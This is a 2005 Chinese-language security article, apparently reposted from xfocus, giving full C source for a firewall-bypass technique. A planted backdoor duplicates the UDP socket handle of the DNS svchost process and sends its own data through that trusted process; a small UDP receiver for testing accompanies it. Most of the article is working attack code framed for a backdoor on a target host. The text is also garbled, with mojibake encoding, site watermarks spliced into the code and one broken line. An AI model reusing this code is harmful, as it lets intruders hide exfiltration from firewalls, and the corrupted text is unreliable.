Ò»ÖÖеĴ©Í¸·À»ðǽµÄÊý¾Ý´«Êä¼¼Êõ

ÎÄÕÂÌá½»£ºsuei8423 (suei8423_at_163.com)¡¡¡¡À´Ô´£ºhttp://www.xfocus.net/

Ò»ÖÖеĴ©Í¸_blank">·À»ðǽµÄÊý¾Ý´«Êä¼¼Êõ

Author : ZwelL
Email£ : zwell@sohu.com
Date£  : 2005.4.12

ʹÓøü¼Êõ±³¾°:
ÔÚÄ¿±êÖ÷»ú°²·ÅºóÃÅ,ÐèÒª½«Êý¾Ý´«Êä³öÈ¥,ͬʱÊý¾ÝºÜÖØÒª,¶¯×÷²»ÄÜÌ«´ó.ÆäËûÇé¿ö"ÑÏÖØ"²»ÍƼöʹÓøü¼Êõ(ºóÃæÎһὲµ½ÎªÊ²Ã´).

 £  Õë¶ÔÄ¿Ç°_blank">·À»ðǽµÄһЩÇé¿ö,Èç¹û×Ô¼ºµÄ½ø³Ì¿ªÒ»¸ö¶Ë¿Ú(ÉõÖÁÊÇн¨Ì×½Ó×Ö)¿Ï¶¨±»À¹.
Ïà·´,ÓÐÒ»µãÎÒÃÇÒ²ºÜÇå³þ:±»_blank">·À»ðǽÑéÖ¤µÄ½ø³ÌÔÚ´«ËÍÊý¾ÝʱÓÀÔ¶²»»á±»À¹.ËùÒÔ,ÎÒµÄ˼·ºÜ¼òµ¥:
½«ÆäËû½ø³ÌÖÐÔÊÐíÊý¾Ý´«ÊäµÄÌ×½Ó×Ö¾ä±úÄÃΪÒÑÓÃ.¹ý³ÌÈçÏÂ:

1. ÕÒ³öÄ¿±ê½ø³Ì
2. ÕÒ³öSOCKET¾ä±ú
2. ÓÃDuplicateHandle()º¯Êý½«ÆäSOCKETת»»ÎªÄܱ»×Ô¼ºÊ¹ÓÃ.
3. ÓÃת»»ºóµÄSOCKET½øÐÐÊý¾Ý´«Êä

 £  ÉÏÃæµÄ¹ý³ÌдµÄºÜ¼òµ¥,µ«ÊÇʵ¼ÊʵÏÖÆðÀ´»¹ÊÇ´æÔÚһЩÎÊÌâ(ºóÃæÔÙ×öÌÖÂÛ).¶øÇÒ´ÓÉÏÃæµÄʵÏÖ·½·¨Ò²
¿ÉÒÔ¿´³öһЩ²»Ë¬µÄµØ·½:ÔÚÄ¿±ê½ø³ÌµÄSOCKET²»ÄÜÊÇTCP,ÒòΪTCPµÄ¾ä±úÒѾ­¸úÍâÃ潨Á¢ÁËÁ¬½Ó,ËùÒÔÖ»ÄÜÊÇUDP.
Õë¶Ô²»Í¬ÏµÍ³²»Í¬½ø³ÌÎÒÃǺÜÄѶ¨Î»Ò»¸öÎȶ¨µÄ½ø³ÌSOCKET.

 £  ¿´µ½ÉÏÃæÕâЩ,ÄãÓеãÉ¥ÆøÁ˶Բ»¶Ô,¹þ¹þ. ÔÙÏëÒ»Ïë,ÆäʵÎÒÃÇÓÐÒ»ÌõÕæÕýµÄͨÂÞÂíµÄ"»Æ½ð´óµÀ".

 £  ÎÒÃÇÖªµÀֻҪһ̨¼ÆËã»úÁ¬ÉÏÁËÍøÂç,ÄÇôÓÐÒ»ÖÖÊý¾Ý´«ÊäÊǿ϶¨²»»á±»À¹½ØµÄ,ÄǾÍÊÇDNS.ÄãÄÜÏëÏñÓòÃû½âÎöÊý¾Ý¶¼±»
À¹ÁËÔì³ÉµÄ½á¹ûÂð? ºÙºÙ, ¼ÈÈ»Õâ¸öÊÇÓÀÔ¶²»»á±»À¹µÄ, ¶øÇÒËüÓÖÊÇUDP´«Êä, ÎÒÃǾÍÄÃËû¿ªµ¶...

ÏÂÃæÊÇͨ¹ýÖ±½Ó¿ØÖÆDNS½ø³Ì(ÆäʵҲ¾ÍÊÇsvchost.exe,²»¹ý¶ÔÓ¦Óû§ÃûÊÇNETWORK SERVICE)½øÐÐÊý¾Ý´«ÊäµÄÀý×Ó.
±à³ÌÖгöÏÖÁ˺ܶàÎÊÌâ,±È·½Ëµ»ñÈ¡svchost¶ÔÓ¦Óû§ÃûʱûÓÐȨÏÞ(µ«ÊÇÄܹ»²Ù×÷LOCAL SERVICE),ÔÚ¾ä±úֵΪ0x2cʱ½øÐÐgetsocknameʱ»áÍ£Ö¹ÔËÐеȵÈ.
¾ßÌå½â¾ö·½·¨Çëϸ¿´×¢ÊͲ¿·Ö...

/*++

  Made By ZwelL
  zwell@sohu.com
  2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32") Íø¹ÜÓмÒbitscn.net

#define NT_SUCCESS(status)£ £ £ £ £ ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG£ £ NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
 £  ULONG£ £ £ £ £ £ ProcessId;
 £  UCHAR£ £ £ £ £ £ ObjectTypeNumber;
 £  UCHAR£ £ £ £ £ £ Flags;
 £  USHORT£ £ £ £ £ £ Handle;
 £  PVOID£ £ £ £ £ £ Object;
 £  ACCESS_MASK£ £ £ £ GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
 £  BOOL£ £ ret£ £ £ £  = FALSE;
 £  char£ £ NTDLL_DLL[] = "ntdll.dll";
 £  HMODULE ntdll_dll£  = NULL;


 £  if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
 £  {
 £ £ £  printf( "GetModuleHandle() failed");
 £ £ £  return( FALSE );
 £  }
 £  if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
 £  {
 £ £ £  goto LocateNtdllEntry_exit;
 £  }
 £  ret = TRUE;

LocateNtdllEntry_exit:

 £  if ( FALSE == ret )
 £  {
 £ £ £  printf( "GetProcAddress() failed");
 £  }
 £  ntdll_dll = NULL;
 £  return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
 £  // sanity checks and default value
 £  if (pUserSid == NULL)
 £ £ £  return false;
 £  strcpy(szUserName, "?");

 £  SID_NAME_USE£  snu;
 £  TCHAR£ £ £ £ £ szUser[_MAX_PATH];
 £  DWORD£ £ £ £ £ chUser = _MAX_PATH;
 £  PDWORD£ £ £ £  pcchUser = &chUser;

Íø¹Üu¼Òwww.bitscn.net

 £  TCHAR£ £ £ £ £ szDomain[_MAX_PATH];
 £  DWORD£ £ £ £ £ chDomain = _MAX_PATH;
 £  PDWORD£ £ £ £  pcchDomain = &chDomain;

 £  // Retrieve user name and domain name based on user's SID.
 £  if (
 £ £ £  ::LookupAccountSid(
 £ £ £  NULL,
 £ £ £  pUserSid,
 £ £ £  szUser,
 £ £ £  pcchUser,
 £ £ £  szDomain,
 £ £ £  pcchDomain,
 £ £ £  &snu
 £ £ £  )
 £ £ £  )
 £  {
 £ £ £  wsprintf(szUserName, "%s", szUser);
 £  }
 £  else
 £  {
 £ £ £  return false;
 £  }

 £  return true;
}£ 


/*++

This routine is used to get the DNS process's Id
 
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
 £  PWTS_PROCESS_INFO pProcessInfo = NULL;
 £  DWORD£ £ £ £ £ £  ProcessCount = 0;
 £  char£ £ £ £ £ £ £ szUserName[255];
 £  DWORD£ £ £ £ £ £ £ Id = -1;

 £  if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
 £  {
 £ £ £  // dump each process description
 £ £ £  for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
 £ £ £  {

 £ £ £ £ £  if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
 £ £ £ £ £  {
 £ £ £ £ £ £ £  GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
 £ £ £ £ £ £ £  if( strcmp(szUserName, "NETWORK SERVICE") == 0)
 £ £ £ £ £ £ £  {
 £ £ £ £ £ £ £ £ £  Id = pProcessInfo[CurrentProcess].ProcessId;
 £ £ £ £ £ £ £ £ £  break; ÖйúÍø¹ÜÁªÃËbitsCN.com
 £ £ £ £ £ £ £  }
 £ £ £ £ £  }
 £ £ £  }

 £ £ £  WTSFreeMemory(pProcessInfo);
 £  }

 £  return Id;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
 £  HANDLE hProcess = NULL,
 £ £ £ £ £  hAccessToken = NULL;
 £  TCHAR InfoBuffer[1000], szDomainName[200];
 £  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
 £  DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
 £  SID_NAME_USE snu;

 £  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
 £  if(hProcess == NULL)
 £  {
 £ £ £  printf("OpenProcess wrong");
 £ £ £  CloseHandle(hProcess);
 £ £ £  return false;
 £  }

 £  if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
 £  {
 £ £ £  printf("OpenProcessToken wrong:%08x", GetLastError());
 £ £ £  return false;
 £  }

 £  GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
 £ £ £  1000, &dwInfoBufferSize);

 £  LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
 £ £ £  &dwAccountSize,szDomainName, &dwDomainSize, &snu);

 £  if(hProcess)
 £ £ £  CloseHandle(hProcess);
 £  if(hAccessToken)
 £ £ £  CloseHandle(hAccessToken);
 £  return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
 £  NTSTATUS£ £ £ £ £ £ £ £ £ £  status;
 £  PVOID£ £ £ £ £ £ £ £ £ £ £ £ buf£  = NULL;
 £  ULONG£ £ £ £ £ £ £ £ £ £ £ £ size£ = 1;
 £  ULONG£ £ £ £ £ £ £ £ £ £ £ £ NumOfHandle = 0;
 £  ULONG£ £ £ £ £ £ £ £ £ £ £ £ i;
 £  PSYSTEM_HANDLE_INFORMATION£ £ h_info£ = NULL; Íø¹ÜÍøwww.bitscn.com
 £  HANDLE£ £ sock = NULL;
 £  DWORD£ £ n;

 £  buf=malloc(0x1000);
 £  if(buf == NULL)
 £  {
 £ £ £  printf("malloc wrong\n");
 £ £ £  return NULL;
 £  }
 £  status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
 £  if(STATUS_INFO_LENGTH_MISMATCH == status)
 £  {
 £ £ £  free(buf);
 £ £ £  buf=malloc(n);
 £ £ £  if(buf == NULL)
 £ £ £  {
 £ £ £ £ £  printf("malloc wrong\n");
 £ £ £ £ £  return NULL;
 £ £ £  }
 £ £ £  status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
 £  }
 £  else
 £  {
 £ £ £  printf("ZwQuerySystemInformation wrong\n");
 £ £ £  return NULL;
 £  }

 £  NumOfHandle = *(ULONG*)buf;

 £  h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

 £  for(i = 0; i<NumOfHandle ;i++)
 £  {
 £ £ £  try
 £ £ £  {
 £ £ £ £ £  if( ( h_info[i].ProcessId == PID )£ && ( h_info[i].ObjectTypeNumber == 0x1c )
 £ £ £ £ £ £ £  && (h_info[i].Handle!=0x2c)£ £ // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
 £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £  // So I jump over this situation...
 £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ £  // May be it's different in your system,
 £ £ £ £ £ £ £  ) //wind2000 is 0x1a
 £ £ £ £ £  {
 £ £ £ £ £ £ £  //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
 £ £ £ £ £ £ £  if( 0 == DuplicateHandle(
 £ £ £ £ £ £ £ £ £  OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
 £ £ £ £ £ £ £ £ £  (HANDLE)h_info[i].Handle,
 £ £ £ £ £ £ £ £ £  GetCurrentProcess(),
 £ £ £ £ £ £ £ £ £  &sock,
 £ £ £ £ £ £ £ £ £  STANDARD_RIGHTS_REQUIRED,
 £ £ £ £ £ £ £ £ £  true,
 £ £ £ £ £ £ £ £ £  DUPLICATE_SAME_ACCESS)
 £ £ £ £ £ £ £ £ £  )
 £ £ £ £ £ £ £  {
 £ £ £ £ £ £ £ £ £  printf("DuplicateHandle wrong:%8x", GetLastError());
 £ £ £ £ £ £ £ £ £  continue;
 £ £ £ £ £ £ £  }

 £ £ £ £ £ £ £  //printf("DuplicateHandle ok\n");
 £ £ £ £ £ £ £  sockaddr_in name = ;
 £ £ £ £ £ £ £  name.sin_family = AF_INET;
 £ £ £ £ £ £ £  int namelen = sizeof(sockaddr_in);
 £ £ £ £ £ £ £  getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
 £ £ £ £ £ £ £  //printf("PORT=%5d\n",£ £ ntohs( name.sin_port ));
 £ £ £ £ £ £ £  if(ntohs(name.sin_port)>0)£ £ // if port > 0, then we can use it
 £ £ £ £ £ £ £ £ £  break;
 £ £ £ £ £  }
 £ £ £  }
 £ £ £  catch(...)
 £ £ £  {
 £ £ £ £ £  continue;
 £ £ £  }
 £  }

 £  if ( buf != NULL )
 £  {
 £ £ £  free( buf );

Íø¹ÜÁªÃËbitsCN@com

 £  }
 £  return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
 £  HANDLE hToken;
 £  BOOL rv;

 £  TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
 £  LookupPrivilegeValue (
 £ £ £  0,
 £ £ £  name,
 £ £ £  &priv.Privileges[0].Luid
 £ £ £  );

 £  priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

 £  OpenProcessToken(
 £ £ £  GetCurrentProcess (),
 £ £ £  TOKEN_ADJUST_PRIVILEGES,
 £ £ £  &hToken
 £ £ £  );

 £  AdjustTokenPrivileges (
 £ £ £  hToken,
 £ £ £  FALSE,
 £ £ £  &priv,
 £ £ £  sizeof priv,
 £ £ £  0,
 £ £ £  0
 £ £ £  );

 £  rv = GetLastError () == ERROR_SUCCESS;

 £  CloseHandle (hToken);
 £  return rv;
}

void main()
{ Íø¹Üu¼Òu.bitscn@com
 £  WSADATA wsaData;
 £  char£ £ testbuf[255];
 £  SOCKET£ £ sock;
 £  sockaddr_in RecvAddr;

 £  int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
 £  if (iResult != NO_ERROR)
 £ £ £  printf("Error at WSAStartup()\n");

 £  if(!LocateNtdllEntry())
 £ £ £  return;

 £  if(!EnablePrivilege (SE_DEBUG_NAME))
 £  {
 £ £ £  printf("EnablePrivilege wrong\n");
 £ £ £  return;
 £  }

 £  sock = GetSocketFromId(GetDNSProcessId());
 £  if( sock==NULL)
 £  {
 £ £ £  printf("GetSocketFromId wrong\n");
 £ £ £  return;
 £  }

 £  //Change there value...
 £  RecvAddr.sin_family = AF_INET;
 £  RecvAddr.sin_port = htons(5555);
 £  RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

 £  if(SOCKET_ERROR == sendto(sock,
 £ £ £ £ £  "test",

ÖйúÍø¹ÜÁªÃËbitsCN.com

 £ £ £ £ £  5,
 £ £ £ £ £  0,
 £ £ £ £ £  (SOCKADDR *) &RecvAddr,
 £ £ £ £ £  sizeof(RecvAddr)))
 £  {
 £ £ £  printf("sendto wrong:%d\n", WSAGetLastError());
 £  }
 £  else
 £  {
 £ £ £  printf("send ok... Have fun, right? ^_^\n");
 £  }
 £ 
 £  getchar();

 £  //WSACleanup();
 £  return;
}



ºÜÔçÒÔÇ°ÎÒ¾ÍÓÐÕâ¸öÏë·¨ÁË,Ö»ÊÇһֱûÓÐȥʵÏÖ.ÔÚÉÏÃæµÄ´úÂëÖÐ,
ÒòΪҪÕÒ³öDNS½ø³Ì¾ä±ú,¶øsvchost.exeÓÖÓжà¸ö,ËùÒÔÒÔÓû§ÃûÀ´½øÐÐÅжÏ,±¾À´ÊÇÓÃOpenProcessToken,
µ«ÊÇÔõôҲ²»ÐÐ,ËùÒÔ»»¸ö·½·¨.Óõ½ÁËwtsapi32¿âº¯Êý.

ÔÙÓÃÏÂÃæµÄ´úÂë²âÊÔ:


/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;

Íø¹ÜÂÛ̳bbs_bitsCN_com

  char RecvBuf[1024];
  int£ BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);

  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);

  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams...\n");
  while(1)
  {
 £  recvfrom(RecvSocket,
 £ £ £  RecvBuf,
 £ £ £  BufLen,
 £ £ £  0,
 £ £ £  (SOCKADDR *)&SenderAddr,
 £ £ £  &SenderAddrSize);
 £  printf("%s\n", RecvBuf);
  }

  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket.\n");
  closesocket(RecvSocket);

  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting.\n");
  WSACleanup();
  return;
}


²âÊÔ²½Öè:
1. ÔÚһ̨»úÆ÷ÉÏÖ´ÐÐUdpReceiver,
2. ÔÚ°²×°_blank">·À»ðǽµÄ»úÆ÷ÉÏÖ´ÐеÚÒ»¸ö³ÌÐò.

ÓÐʲôÎÊÌâ,Ï£Íû´ó¼Ò¿ÉÒÔ½»Á÷½»Á÷...^_^